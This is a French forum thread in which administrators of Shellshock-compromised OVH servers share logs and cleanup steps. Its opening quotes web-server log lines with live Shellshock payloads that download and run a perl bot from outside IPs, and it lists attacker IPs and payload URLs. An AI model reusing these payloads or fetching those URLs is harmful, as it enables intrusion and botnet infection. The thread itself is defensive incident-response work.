212.227.22.41 - - [19/Oct/2014:15:08:16 +0200] "GET /cgi-bin/php5-cli HTTP/1.1" 302 325 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
37.1.207.83 - - [20/Oct/2014:21:15:08 +0200] "GET /403.html HTTP/1.1" 200 308 "() { :;}; /bin/bash -c \"wget -P /tmp http://37.1.207.83/log.php?get=aHR0cDovL2J0cy1iYXRpbWVudC5vcmcv\"" "() { :;}; /bin/bash -c \"curl -O http://37.1.207.83/log.php?get=aHR0cDovL2J0cy1iYXRpbWVudC5vcmcv\""
95.175.99.116 - - [22/Oct/2014:16:47:51 +0200] "GET /frost.cgi HTTP/1.0" 302 325 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://184.171.247.165/wi;curl -O http://184.171.247.165/wi;perl wi;rm -rf wi\""
95.175.99.116 - - [22/Oct/2014:16:47:52 +0200] "GET /404.html HTTP/1.0" 200 435 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://184.171.247.165/wi;curl -O http://184.171.247.165/wi;perl wi;rm -rf wi\""

Les ip à la base de l'attaque ( enfin le proxis ......)

75.126.197.132
94.102.63.238
212.227.22.41
95.175.99.116
37.1.207.83
206.51.225.30
217.174.248.179
46.4.93.52
109.201.141.65
108.59.11.82
213.239.220.203
209.59.163.217


Ainsi vous pouvez remonter aux scritps perl et autres et savoir ce quil ont pu faire avec la faille bash.

notamment

http://94.102.63.238/shell.pl
http://37.1.207.83/log.php?get=aHR0c...RpbWVudC5vcmcv
http://184.171.247.165/wi
http://89.33.193.10/jiw

et
Vous pouvez aussi mettre ces IP dans votre iptable et / ou cisco asa.
Vous pouvez aussi créer une règle fail2ban et mettre en blacklist l'ip des qu'elle tape en get ou post /bin/bash.ou mettre ça dans le httpd conf
Ca évitera au crawler shellshock de crawler une autre faille a posteriori.

http://184.171.247.165/wi est tjs accessible et on voit bien le code

Lien pour la règle fail2ban :
https://samhobbs.co.uk/2014/09/shell...using-fail2ban



Xavier

cassiopee
24/10/2014, 00h32
C'est un peu bizarre qu'il te parle de "/bin/crontab" alors que normalement c'est dans "/usr/bin/crontab" ?

Voilà comment doivent être positionnés les droits de "/usr/bin/crontab" :

Code:
# ls -al /usr/bin/crontab

-rwxr-s--x 1 root 103 33160 déc 11  2007 /usr/bin/crontab
Il faut donc que tes droits / propriétaire/groupe soient les mêmes que ci-dessus.

edlefou05
23/10/2014, 19h29
Citation Envoyé par cassiopee
Regarde mon message juste au-dessus (n° 262), la personne avait exactement le même problème que toi,
à savoir un lien symbolique "/etc/make.profile" qui ne pointe pas au bon endroit.

- - - Mise à jour - - -


Bien sûr, je n'avais pas vu ce second message avant de te répondre

Content que ça se soit arrangé

- - - Mise à jour - - -


C'est déjà ça.


Ok mais plus précisément ? Un petit message d'erreur dans les logs à se mettre sous la dent ?
J'arrive a la créer en ssh mais dans le webmin j'ai l'erreur suivante impossible d'enregistrer la tache cron, sh: /bin/crontab cannot execute binary file.. Je penche pour un probleme de droit, mais comment resoudre cela?

cassiopee
23/10/2014, 19h18
Citation Envoyé par extralarge
Cette faille ressemble fort à une faille de la release 1, avant 2010 avec le webmail RoundCube
Les répertoires /ovh/cgi-bin et /ovh/www étaient les principales causes d'infiltration avec succès.
Mais pour la release 2, c'est énorme ... après je suppose que cela doit toucher tous les systèmes linux : citrix, nas, san ..... bref.
Oui car ShellShock exploite une (plusieurs) faille(s) de Bash, l'interpréteur de commande, sans doute
l'un des plus utilisés au monde, ça n'a donc vraiment rien de spécifique à la Release 2, très loin de là.

Simplement la Release 2 est souvent utilisée par des personnes qui ont peu d'expérience en administration
système ou qui n'ont pas envie, pas le temps de s'en occuper et donc beaucoup d'entre elles ne sont
pas franchement à jour (on voit régulièrement des Release 2 non mises à jour depuis des années )

Et là le piège se referme, c'est comme un Jooma ou un Wordpress pas à jour, c'est fatal,
c'est une simple question de temps.

/var/system était-il totalement absent de la release 2 de départ ?
Tout à fait absent :

Code:
 # ls -al /var

drwxr-xr-x 13 root  root  4096 nov 28  2008 .
drwxr-xr-x 20 root  root  4096 jun 24  2013 ..
drwxr-xr-x  4 named named 4096 oct 22 14:05 bind
drwxr-xr-x  6 root  root  4096 f▒v  3  2011 cache
drwxr-xr-x  4 root  root  4096 ao▒ 17 16:32 db
drwxr-xr-x  2 root  root  4096 f▒v  3  2011 empty
drwxr-xr-x 25 root  root  4096 oct 22 14:06 lib
drwxrwxr-x  3 root  wheel 4096 oct 23 19:14 lock
lrwxrwxrwx  1 root  root     9 d▒c  2  2011 log -> /home/log
lrwxrwxrwx  1 root  root    15 d▒c  2  2011 mail -> /var/spool/mail
drwxr-xr-x 10 root  qmail 4096 mai 24  2006 qmail
drwxr-xr-x 12 root  root  4096 oct 22 14:06 run
drwxr-xr-x  6 root  root  4096 mai 24  2006 spool
drwxr-xr-x  2 root  root  4096 f▒v  9  2006 state
drwxrwxrwt  4 root  root  4096 f▒v  3  2011 tmp

cassiopee
23/10/2014, 19h12
Citation Envoyé par chriswa

Quelqu'un pourrait-il me dire quel est le problème ? J'attends vos réponses pour pouvoir patcher et ainsi redémarrer le serveur. J'ain envoyé un message à ovh, mais pas de réponse...
Regarde mon message juste au-dessus (n° 262), la personne avait exactement le même problème que toi,
à savoir un lien symbolique "/etc/make.profile" qui ne pointe pas au bon endroit.

- - - Mise à jour - - -

Citation Envoyé par chriswa
Merci à tous, j'ai pu passer en 2.35 et tout semble en ordre pour moi aussi.
Cela me laisse un peu de temps pour migrer vers un autre serveur j'espère.
Bien sûr, je n'avais pas vu ce second message avant de te répondre

Content que ça se soit arrangé

- - - Mise à jour - - -

Citation Envoyé par edlefou05
Merci Cassiopee tout est de nouveau en ordre
C'est déjà ça.

mais j'ai encore un blocage sur la creation de tache cron via webmin
Ok mais plus précisément ? Un petit message d'erreur dans les logs à se mettre sous la dent ?

chriswa
23/10/2014, 19h01
Merci à tous, j'ai pu passer en 2.35 et tout semble en ordre pour moi aussi.
Cela me laisse un peu de temps pour migrer vers un autre serveur j'espère.

extralarge
23/10/2014, 19h00
Citation Envoyé par chriswa
Bonjour,

Mon serveur a aussi été infecté. J'ai réussi à réaliser tous les points de ce super tuto, mais chez moi l'installation du patch bloque. J'ai les messages suivants qui m'empêchent de faire la mise à jour et mes connaissances en linux sont assez limitées :

Testing OVH Release [ KO ]
>
> This patch is for release 2.24
> Your release version is not 2.24
> So this patch is not for your system
>
> Testing OVH Release [ OK ]
> Current release is 2.25
> Checking /etc/make.profilels: no se puede acceder a /etc/make.profile: No existe el fichero o el directorio
> patch-2.25-2.26.sh: line 48: [: -eq: unary operator expected
> [ OK ]

> Current profile is
> Remove emerge wrapper [ OK ]
> Checking portage version
>
> !!! /etc/make.profile is not a symlink and will probably prevent most merges.
> !!! It should point into a profile within /usr/portage/profiles/
> !!! (You can safely ignore this message when syncing. It's harmless.)
>
>
> [ OK ]
> Checking portage tree [ OK ]
> Downloading portage-ovh [ OK ]
> Extracting /tmp/portage-ovh.tar.gz [ OK ]
> Configuring portage
> Updating PHP5 [ KO ]
> Testing OVH Release [ KO ]

>
> This patch is for release 2.26
> Your release version is not 2.26
> So this patch is not for your system
>

Quelqu'un pourrait-il me dire quel est le problème ? J'attends vos réponses pour pouvoir patcher et ainsi redémarrer le serveur. J'ain envoyé un message à ovh, mais pas de réponse...

Merci infiniment pour votre aide.
hello,
tu as la réponse de cassiopee un peu plus haut avec la création du lien symbolique pour que le script détecte bien ta version.
Bye
Xavier

- - - Mise à jour - - -

Cette faille ressemble fort à une faille de la release 1, avant 2010 avec le webmail RoundCube
Les répertoires /ovh/cgi-bin et /ovh/www étaient les principales causes d'infiltration avec succès.
Mais pour la release 2, c'est énorme ... après je suppose que cela doit toucher tous les systèmes linux : citrix, nas, san ..... bref.

/var/system était-il totalement absent de la release 2 de départ ?


Xavier

edlefou05
23/10/2014, 18h24
Citation Envoyé par cassiopee
Même une commande "rm" n'arrive pas à effacer le fichier de la tâche ?

Si oui, alors vraisemblablement le fichier de la tâche en question doit avoir
des attributs étendus qui le protègent.

Cf plus haut les manipulations à base de "lsattr" pour vérifier les attributs.

Puis il faudra utiliser la commande "chattr" pour réinitialiser ces attributs
et enfin la commande "rm" devrait arriver à bout de ce fichier récalcitrant
Merci Cassiopee tout est de nouveau en ordre mais j'ai encore un blocage sur la creation de tache cron via webmin

chriswa
23/10/2014, 17h58
Citation Envoyé par extralarge
Salut,

Merci à tous.
Merci Cassiope pour tout tes conseils !

Voici une synthèse qui pour l'instant fonctionne chez moi :

0 - dans votre firewall : bloquer les ports 22 et 10000 en entrée sortie sauf pour votre ip

1 - arrêter Webmin
/etc/webmin/stop

2 - la méchante bestiole à :

- créé des répertoires, (ex /var/system)
- créé des fichiers (notamment dans crontab.weekly)
- modifié des fichiers (webmin)
- mis des attributs (pour éviter de modifier et supprimer ses fichiers)

Donc :

3 - voir déjà les fichiers dont les attributs ont été modifiés :
lsattr -R / 2>/dev/null | grep -- 's---ia--------'

chez moi :
s---ia-------- /etc/runlevels/default/webmin
s---ia-------- /etc/init.d/webmin
s---ia-------- /usr/sbin/lsof
s---ia-------- /usr/libexec/ssh-keysign
s---ia-------- /usr/src/bin
s---ia-------- /usr/src/bin/lsof
s---ia-------- /var/lib/init.d/softscripts/webmin
s---ia-------- /var/lib/init.d/started/webmin
/etc/cron_wekkly
/var/spool/cron/crontabs/root
/var/lib/init.d/softscripts/webmin


4-
Pour chaque fichier ou répertoire faire
chattr -R -i -a -s /repertoire
ou
chattr -i -a -s /fichier
ce qui permet de permettre la suppression ou modification des fichiers

- supprimer :
rm -rf /tmp/d
et tous les fichiers de /tmp....qui ne sont que temporaires.

- remettre le cron en l'état :

rm -rf /etc/cron_wekkly/00logrotate : tâche qui récupère le virus toutes les semaines
vérifier /var/spool/cron/crontabs/root
le reprogrammer via crontab -e ( et surtout pas avec nano)

- renommer :
rename /var/system /var/systemDuTroyanQuiNeSertPlusARien ( c'est certainement le coeur du virus avec tous ses services : nmap ......)
rename /usr/libexec/ssh-keysign /usr/libexec/ssh-keysignDuTroyanQuiNeSertPlusARien


- remplacer lsof :
rename /usr/sbin/lsof /usr/sbin/lsofDesactive
cp /usr/src/bin/lsof /usr/sbin/lsof

- editer webmin
nano /etc/init.d/webmin
supprimer
#GENTOO RC

#bufdaemon will be loaded under RC Compatibility
/var/system/pagezero/bufdaemon >/dev/null 2>&1
#DO NOT MODIFY



5 - chercher les process qui tournent encore
ps ax | grep bufdaemon
puis kill de l'ID retourné
kill -9 XXXXXX

6 relancer

lsattr -R / 2>/dev/null | grep -- 's---ia--------'

qui ne devrait rien afficher.
Sinon, recommencer

7 Installer le patch ovh
wget -q ftp://ftp.ovh.net/made-in-ovh/releas...l-release-2.sh -O patch-all-release-2.sh; sh patch-all-release-2.sh


8 - Redémarrer le serveur.

9 - Eventuellement redémarrer webmin

/etc/webmin/start




Chez moi, je programme via 2 tâches cron, le démarrage et l'arrêt du serveur SSH, le temps de faire des RSYNCS automatiques entre serveurs.
Si j'en ai besoin, je le rallume via webmin.



Bye

Xavier
Bonjour,

Mon serveur a aussi été infecté. J'ai réussi à réaliser tous les points de ce super tuto, mais chez moi l'installation du patch bloque. J'ai les messages suivants qui m'empêchent de faire la mise à jour et mes connaissances en linux sont assez limitées :

Testing OVH Release [ KO ]
>
> This patch is for release 2.24
> Your release version is not 2.24
> So this patch is not for your system
>
> Testing OVH Release [ OK ]
> Current release is 2.25
> Checking /etc/make.profilels: no se puede acceder a /etc/make.profile: No existe el fichero o el directorio
> patch-2.25-2.26.sh: line 48: [: -eq: unary operator expected
> [ OK ]

> Current profile is
> Remove emerge wrapper [ OK ]
> Checking portage version
>
> !!! /etc/make.profile is not a symlink and will probably prevent most merges.
> !!! It should point into a profile within /usr/portage/profiles/
> !!! (You can safely ignore this message when syncing. It's harmless.)
>
>
> [ OK ]
> Checking portage tree [ OK ]
> Downloading portage-ovh [ OK ]
> Extracting /tmp/portage-ovh.tar.gz [ OK ]
> Configuring portage
> Updating PHP5 [ KO ]
> Testing OVH Release [ KO ]

>
> This patch is for release 2.26
> Your release version is not 2.26
> So this patch is not for your system
>

Quelqu'un pourrait-il me dire quel est le problème ? J'attends vos réponses pour pouvoir patcher et ainsi redémarrer le serveur. J'ain envoyé un message à ovh, mais pas de réponse...

Merci infiniment pour votre aide.

cassiopee
23/10/2014, 17h40
Citation Envoyé par edlefou05
Bonjour

Tout d'abord merci a cassiopee pour les infos, j'ai de nouveau acces au crontab via webmin.
Toutefois j'ai une tache cron malveillante que je n'arrive pas a enlever :
Impossible de la modifier ou de la supprimer.
Si quelqu'un peut me donner une piste pour la supprimer.?
Merci d'avance
Même une commande "rm" n'arrive pas à effacer le fichier de la tâche ?

Si oui, alors vraisemblablement le fichier de la tâche en question doit avoir
des attributs étendus qui le protègent.

Cf plus haut les manipulations à base de "lsattr" pour vérifier les attributs.

Puis il faudra utiliser la commande "chattr" pour réinitialiser ces attributs
et enfin la commande "rm" devrait arriver à bout de ce fichier récalcitrant

edlefou05
23/10/2014, 17h03
Bonjour

Tout d'abord merci a cassiopee pour les infos, j'ai de nouveau acces au crontab via webmin.
Toutefois j'ai une tache cron malveillante que je n'arrive pas a enlever :
Impossible de la modifier ou de la supprimer.
Si quelqu'un peut me donner une piste pour la supprimer.?
Merci d'avance

cassiopee
23/10/2014, 16h28
Citation Envoyé par jmb13
Awesome !
Cool, content pour toi

Quelqu'un connait un endroit où on peut acheter des posters de cassiopee ?
Huhu, je vais créer un fan club

jmb13
23/10/2014, 15h59
cat /etc/ovhrelease
2.35
Awesome !

Quelqu'un connait un endroit où on peut acheter des posters de cassiopee ?

cassiopee
23/10/2014, 15h52
Citation Envoyé par R2M.be
Suite à un redémarrage en hard, HTTPD m'indiquait une erreur venant de /etc/rc.conf >> impossible de trouver les fichiers:
"/usr/libexec/webmin/.a"
"/usr/libexec/webmin/.fhs"
(j'ai commenté ses 2 lignes pour ne plus avoir l'erreur)

mes tâches cron sont bien présentes dans "/usr/libexec/webmin/" mais elles ne sont pas prises en compte (rc.conf).

Quelqu'un a une idée pour que le dossier "/usr/libexec/webmin/" soit pris en compte dans rc.conf?
Est-ce possible de simplement copier les fichiers de /usr/libexec/webmin/ vers le bon dossier? (lequel?)

Merci!
Dans une Release 2, je ne vois pas de lien évident entre le contenu du fichier "/etc/rc.conf" et des fichiers
présents dans "/usr/libexec/webmin" ? (tâches cron ou autres)

Les fichiers :

"/usr/libexec/webmin/.a"
"/usr/libexec/webmin/.fhs"

sont très vraisemblablement des scripts pirates. En tout cas, ils n'existent pas dans une Release 2 "propre",
et comme en plus ce sont des fichiers cachés Unix, c'est très suspect

Pour le problème des tâches cron qui ne s'exécutent pas, il y a pas mal de pistes à tester dans ce topic
(remonter un peu en arrière pour trouver quelques résumés synthétiques des manips à faire),
notamment sur des questions de droits de fichiers, d'attributs étendus de fichiers, de remplacement
de fichiers piratés par les originaux, etc.

cassiopee
23/10/2014, 15h45
Citation Envoyé par jmb13
Si je relance la commande, ça me sort la même chose, or j'ai vu que vous arriviez à la release 2.35, quelqu'un a une idée du problème ?
Oui c'est parce que le lien symbolique "/etc/make.profile" doit manquer ou alors pointer dans le vide,
il faut donc le re-créer.

Vers quoi doit pointer le lien symbolique "/etc/make.profile" ?

- avec un système en 32 bits: /usr/portage/profiles/default/linux/x86/2008.0/desktop
- avec un système en 64 bits: /usr/portage/profiles/default/linux/amd64/2008.0/desktop

Pour faire le lien :
Code:
ln -fs /usr/portage/....... /etc/make.profile
(le "-f" force la création du lien, supprimant un éventuel lien précédent)

---

Comment savoir si sa Release 2 est en 32 ou 64 bits ?

Via la commande :

Code:
uname -m
(ou encore "uname -a")

Si présence d'un "i*86" ("i686" par exemple) => système en 32 bits
Si présence d'un "x86_64" => système en 64 bits

- - - Mise à jour - - -

Citation Envoyé par pauline76
Oui, bon, je suis sur GENTOO release 2.35 et visiblement un "emerge vixie-cron" suffit à réinstaller un CRON vierge.
Attention à un effet secondaire embêtant : tout programme installé via "emerge" va 'casser' la Release 2,
c'est-à-dire que normalement par la suite il ne sera plus possible d'appliquer les patch d'OVH

Bon :

1) il n'y a pas eu de patch depuis longtemps, mis à part pour ShellShock
2) de toute façon la Release 2, c'est terminé (= plus installable)

mais quand même, il fallait que ce soit dit

jmb13
23/10/2014, 14h57
Merci à tous pour ces 26 pages d'informations précieuses, j'ai du gagné 3 ans de vie grâce à vous.

J'ai pu nettoyer mon serveur en suivant les explications, mais ça cale sur la MAJ de la release, quand je lance
wget -q ftp://ftp.ovh.net/made-in-ovh/releas...l-release-2.sh -O patch-all-release-2.sh; sh patch-all-release-2.sh
j'ai une série interminable de
Testing OVH Release [ KO ]
your release version is not 2.xx
so this patch is not for your system
Ensuite il trouve ma release et j'ai ça :
Testing OVH Release [ OK ]
Current release is 2.30
Checking /etc/make.profilels: ne peut acc?der /etc/make.profile: Aucun fichier ou r?pertoire de ce type
patch-2.30-2.31.sh: line 45: [: -eq: unary operator expected
[ OK ]
Current profile is
Disabling emerge_wrapper [ OK ]
Checking portage version

!!! /etc/make.profile is not a symlink and will probably prevent most merges.
!!! It should point into a profile within /usr/portage/profiles/
!!! (You can safely ignore this message when syncing. It's harmless.)


[ OK ]
Downloading local portage-ovh [ OK ]
Extracting /tmp/portage-ovh.tar.gz [ OK ]
Configuring portage
Patching mysql webwin configuration [ OK ]
Fixing /etc/mtab [ OK ]
Updating webmin [ KO ]
Testing OVH Release [ KO ]
et puis ça reprend
Testing OVH Release [ KO ]

This patch is for release 2.31
Your release version is not 2.31
So this patch is not for your system

etc...
Si je relance la commande, ça me sort la même chose, or j'ai vu que vous arriviez à la release 2.35, quelqu'un a une idée du problème ?

Et pour info, j'ai eu le support OVh au tél, et en parlant de prendre un nouveau serveur en release 3, il m'a dit qu'il faudrait quand même faire une mise à jour parce que les images actuelles ne sont pas encore immunisées aux attaques, mais ils y travaillent. Donc pour tous ceux qui, comme moi, nettoient leur serveur pour tenir le temps de passer en release 3, c'est bon à savoir, histoire de ne pas se faire hacker une machine neuve après des heures de réinstallation.

R2M.be
23/10/2014, 14h30
Suite à un redémarrage en hard, HTTPD m'indiquait une erreur venant de /etc/rc.conf >> impossible de trouver les fichiers:
"/usr/libexec/webmin/.a"
"/usr/libexec/webmin/.fhs"
(j'ai commenté ses 2 lignes pour ne plus avoir l'erreur)

mes tâches cron sont bien présentes dans "/usr/libexec/webmin/" mais elles ne sont pas prises en compte (rc.conf).

Quelqu'un a une idée pour que le dossier "/usr/libexec/webmin/" soit pris en compte dans rc.conf?
Est-ce possible de simplement copier les fichiers de /usr/libexec/webmin/ vers le bon dossier? (lequel?)

Merci!

pauline76
23/10/2014, 14h19
Oui, bon, je suis sur GENTOO release 2.35 et visiblement un "emerge vixie-cron" suffit à réinstaller un CRON vierge.

Quand je vois le boulot, Je me dis qu'il est très utile de sauvegarder ses tâches CRON...

pauline76
23/10/2014, 13h50
Merci Seifou.

J'ai déjà fait tout ça mais foutu pour foutu (puisque j'ai déjà perdu toutes mes tâches CRON (dur, dur, dur...)) , j'ai l'intention de réinstaller un CRON propre et vierge et de reprogrammer toutes mes tâches.

Mais je ne sais pas comment réinstaller un CRON vierge ?

Merci.

seifou
23/10/2014, 12h55
Hello Pauline,

Tu peux déjà suivre la procédure résumé d'extralarge si ce n'est pas déjà fait :

http://forum.ovh.com/showthread.php?...l=1#post622751

pauline76
23/10/2014, 12h14
Bonjour à tou(te)s !

Quelqu'un saurait comment réinstaller un cron propre ?

merci.

cassiopee
23/10/2014, 11h56
Citation Envoyé par Operceval
yes, c'est bon casio. merci² .
Cool

si tu as besoin d un coup de main pour un déménagement, laver la voiture , garder les enfants , assassiner ton voisin, faire la vaisselle, n 'hésite pas.
Assassiner le voisin, ok, je note, ça pourrait servir

Operceval
23/10/2014, 10h50
yes, c'est bon casio. merci² . si tu as besoin d un coup de main pour un déménagement, laver la voiture , garder les enfants , assassiner ton voisin, faire la vaisselle, n 'hésite pas.

Operceval
23/10/2014, 10h11
j ai pas encore eu le temps. suis au tel depuis ce matin.

cassiopee
23/10/2014, 10h03
Citation Envoyé par Operceval
mais tu sais que t es trop génial.

c est la que l'on s aperçois de nos lacunes en OS .... j'aimerais en savoir plus mais le temps. mon truc a moi c'est les flux de données complexes.
C'est clair que l'on ne pas tout connaitre

énorme merci encore.
C'est bon, tu as réussi à remettre le crontab en place ? ça fonctionne bien de nouveau ?

ps j ai eu peur ce matin un serveur out :

message d ovh. intevention probleme electrique.

30 minutes plus tard. plus défaut constaté. nous ne connaissons pas l origine du problème. LOL . parfois ça fait peur...
Ce genre de fausses alertes est assez fréquent, disons 1 fois par an et par serveur.

Quand on l'a eu 2 ou 3 fois, après ça ne fait même plus un "bip" sur l'ECG

Operceval
23/10/2014, 09h50
mais tu sais que t es trop génial.

c est la que l'on s aperçois de nos lacunes en OS .... j'aimerais en savoir plus mais le temps. mon truc a moi c'est les flux de données complexes.

énorme merci encore.

ps j ai eu peur ce matin un serveur out :

message d ovh. intevention probleme electrique.

30 minutes plus tard. plus défaut constaté. nous ne connaissons pas l origine du problème. LOL . parfois ça fait peur...

cassiopee
23/10/2014, 09h31
Citation Envoyé par Operceval
excuse moi, j avais vu ta réponse . ça va tellement vite ici.
Oui, c'est même parfois un peu difficile à suivre

ls -al /usr/bin/crontab
ls: ne peut accéder /usr/bin/crontab: Aucun fichier ou répertoire de ce type

jai du l effacer. mince :/
Voilà voilà, du coup, c'est un peu normal que ça ne fonctionne plus très bien

Je viens de t'uploader le fichier crontab en question là :

http://demo.ovh.eu/fr/6a94e03fa0183df51add9fcc50709c76/

Il faut simplement bien faire attention à remettre les bons droits Unix (+ propriétaire/groupe)
une fois le fichier en place.

Operceval
23/10/2014, 09h29
petite info si ça intéresse quelqu un. si vous avez le même problème que moi. c'est a dire que certains scripts ne passent pas php 5.3.

vous pouvez passer sur Plesk 11.5 Centos. installer panda PHP ( ensuite installer panda PHP52 ) vous aurez bien le choix de toutes les versions PHP par hébergement. ( magique et génial )

avantage . ça règle des situations d urgences comme celle la et surtout ça permet de mettre en // votre script sur la même base de données pour faire vous adaptations de code php obsolète.

si vous souhaitez plus d info ou un ti coups de mains. ou de pied n hésitez pas.

ps : certains scripts peuvent créer une boucle . c est une histoire de session . il y a du code à ajouter dans certains fichiers pour gérer les sessions. ( Oscommerce par exemple )

bonne journée

Operceval
23/10/2014, 09h20
excuse moi, j avais vu ta réponse . ça va tellement vite ici. en fait la réponse est claire

ls -al /usr/bin/crontab
ls: ne peut accéder /usr/bin/crontab: Aucun fichier ou répertoire de ce type

j ai du l effacer. mince :/

Citation Envoyé par cassiopee
Bien


On peut examiner la commande "crontab".

Chez moi ça donne :

Code:
# ls -al /usr/bin/crontab

-rwxr-s--x 1 root 103 33160 d▒c 11  2007 /usr/bin/crontab
Code:
# lsattr /usr/bin/crontab

-------------- /usr/bin/crontab
Code:
 # md5sum /usr/bin/crontab

01cb5f3f9319455fa3fd8884be388b29  /usr/bin/crontab
Est-ce que tu as les mêmes valeurs ?

extralarge
23/10/2014, 00h06
Citation Envoyé par Operceval
Bon un grand merci à Tous , xav, casio. très actifs c est vraiment bien. j apprécie .

j ai commencé les migrations. 2 serveurs à migrer et ça fait 48 heures que j ai pas dormi
merci
Bon courage,

Xavier

extralarge
22/10/2014, 23h49
Citation Envoyé par cassiopee
Moi j'ai cron/root comme propriétaire :

Code:
drwxr-xr-x 4 cron root 4096 mai 24  2006 /var/spool/cron


Moi j'ai :

Code:
-rwxr-s--x 1 root 103 33160 d▒c 11  2007 /usr/bin/crontab

Moi j'ai :

Code:
drwx-wx--T 2 root 103 4096 oct 22 00:08 /var/spool/cron/crontabs
ok merci Cassiope.
Xavier

Operceval
22/10/2014, 23h39
Bon un grand merci à Tous , xav, casio. très actifs c est vraiment bien. j apprécie .

j ai commencé les migrations. 2 serveurs à migrer et ça fait 48 heures que j ai pas dormi

cassiopee
22/10/2014, 23h39
Citation Envoyé par extralarge
les tâches se lançent mais n'écrivent plus dans le /home/log ?
Il y doit y avoir une cohérence avec les droits de tous les fichiers et répertoires impactés par cron ....
Mais la je botte en touche !

J'ai comme droits de
var/spool/cron 0755 cron / cron
Moi j'ai cron/root comme propriétaire :

Code:
drwxr-xr-x 4 cron root 4096 mai 24  2006 /var/spool/cron
/usr/bin/crontab 4755 root root
Moi j'ai :

Code:
-rwxr-s--x 1 root 103 33160 d▒c 11  2007 /usr/bin/crontab
/var/spool/cron/crontabs 0750 root root
Moi j'ai :

Code:
drwx-wx--T 2 root 103 4096 oct 22 00:08 /var/spool/cron/crontabs

cassiopee
22/10/2014, 23h29
Citation Envoyé par kgb203
Je viens d'avoir l'occasion de vérifier sur une release 2 saine, et /usr/bin/crontab y a les droits 751 avec un SGID, donc 2751 :

Code:
chmod 2751 /usr/bin/crontab
Quant au propriétaire:groupe, j'ai bien aussi root:103
Je confirme ces infos

Je me joins à toi !
Merci à tous, n'en jetez plus


Dommage que je ne puisse quant à moi, apparemment, t'en envoyer : je t'aurais bien demandé tes coordonnées professionnelles.
Ah ben pourquoi ? Trop peu de messages au compteur pour pouvoir envoyer un MP ?
Si oui, ça doit faire partie des mesures anti-spam qu'OVH a du prendre dans le forum
mais mon email est lisible dans les "messages visiteurs" de mon profil (échange avec Garden)

extralarge
22/10/2014, 23h24
les tâches se lançent mais n'écrivent plus dans le /home/log ?
Il y doit y avoir une cohérence avec les droits de tous les fichiers et répertoires impactés par cron ....
Mais la je botte en touche !

J'ai comme droits de
var/spool/cron 0755 cron / cron
/usr/sbin/cron 0750 root wheel
/usr/bin/crontab 4755 root root
/var/spool/cron/crontabs 0750 root root
/etc/cron.d 0755 root root
/etc/crontab 0644 root root

Une idée ?

Xavier

cassiopee
22/10/2014, 23h23
Citation Envoyé par nono67
J'ai retrouvé mes taches cron..... mes chères taches cron sont revenus à la maison je vais déboucher une bonne bouteille ce soir

Un grand merci pour votre aide.

Un très grand merci pour l'aide bénévole que nous a apporté cassiopee. Il y a 2 types d'êtres humains sur la planète et à travers cette mésaventure on a pu voir ces 2 facettes : l'une négative qui est représenté par le hackeur et l'autre positive qui est représenté par cassiopee.
J'arrive un peu après la bataille mais content pour toi

A quelque chose malheur est bon : c'est très formateur ce genre de mésaventures, tu auras appris plein de manips

kgb203
22/10/2014, 22h37
Citation Envoyé par nono67
Quelle commande il faut taper pour mettre les droits à 4775 sur ce fichier /usr/bin/crontab ?
Je viens d'avoir l'occasion de vérifier sur une release 2 saine, et /usr/bin/crontab y a les droits 751 avec un SGID, donc 2751 :

Code:
chmod 2751 /usr/bin/crontab
Quant au propriétaire:groupe, j'ai bien aussi root:103

Citation Envoyé par nono67
Un très grand merci pour l'aide bénévole que nous a apporté cassiopee.
Je me joins à toi !

Citation Envoyé par cassiopee
j'ai répondu à ton MP
Dommage que je ne puisse quant à moi, apparemment, t'en envoyer : je t'aurais bien demandé tes coordonnées professionnelles.

nono67
22/10/2014, 22h34
J'ai retrouvé mes taches cron..... mes chères taches cron sont revenus à la maison je vais déboucher une bonne bouteille ce soir

Un grand merci pour votre aide.

Un très grand merci pour l'aide bénévole que nous a apporté cassiopee. Il y a 2 types d'êtres humains sur la planète et à travers cette mésaventure on a pu voir ces 2 facettes : l'une négative qui est représenté par le hackeur et l'autre positive qui est représenté par cassiopee.

buddy
22/10/2014, 22h21
chmod : http://doc.ubuntu-fr.org/tutoriel/co..._de_base#chmod

nono67
22/10/2014, 22h11
Citation Envoyé par Garden
Il me semble que le 103 ne soit pas un pb moi ça m'avais semblais bizarre et je l'ai passé a root.
Ce qui est important c'est de retablir les droits du fichier je crois que le hack le passe à 0000 (au lieu de 4775)

Code:
# ls -al /usr/bin/crontab
-rwsrwxr-x 1 root root 33160 déc 11  2007 /usr/bin/crontab
Quelle commande il faut taper pour mettre les droits à 4775 sur ce fichier /usr/bin/crontab ?

extralarge
22/10/2014, 22h03
Citation Envoyé par nono67
Merci cassiopee.

J'ao rebooté mon serveur en software, j'ai regardé si j'vais des fichiers hackés avec "s---ia--------", il y en avait 2

Je les ai corrigé et ils n'ont pas l'air de revenir, ouf

Par contre lorsque je tape


Permission denied, comment je peux remettre mes crons si je ne peux pas éditer crontab, punaise

Oui j'ai bien nettoyé le fichier "/etc/init.d/webmin"

J'ai relancé cron et webmin et rien à faire je ne peux toujours pas éditer le fichier cron avec crontab-e

Est-ce que c'est normal que le fichier /usr/bin/crontab a comme groupe le chiffre 103 ?
tu as toutes les réponses dans les pages précédentes ....
y compris une synthèse.
Bon courage.
Attention, un fichier cron ne s'édite pas avec nano ou vi mais avec crontab -e
Xavier

Garden
22/10/2014, 22h01
Citation Envoyé par nono67
Permission denied, comment je peux remettre mes crons si je ne peux pas éditer crontab, punaise

Est-ce que c'est normal que le fichier /usr/bin/crontab a comme groupe le chiffre 103 ?
Il me semble que le 103 ne soit pas un pb moi ça m'avais semblais bizarre et je l'ai passé a root.
Ce qui est important c'est de retablir les droits du fichier je crois que le hack le passe à 0000 (au lieu de 4775)

Code:
# ls -al /usr/bin/crontab
-rwsrwxr-x 1 root root 33160 déc 11  2007 /usr/bin/crontab

nono67
22/10/2014, 21h29
Merci cassiopee.

J'ao rebooté mon serveur en software, j'ai regardé si j'vais des fichiers hackés avec "s---ia--------", il y en avait 2
# lsattr -R / 2>/dev/null | grep -- 's---ia--------'
s---ia-------- /usr/bin/crontab
s---ia-------- /var/spool/cron/crontabs/root
Je les ai corrigé et ils n'ont pas l'air de revenir, ouf

Par contre lorsque je tape
# crontab -e
-bash: /usr/bin/crontab: Permission denied
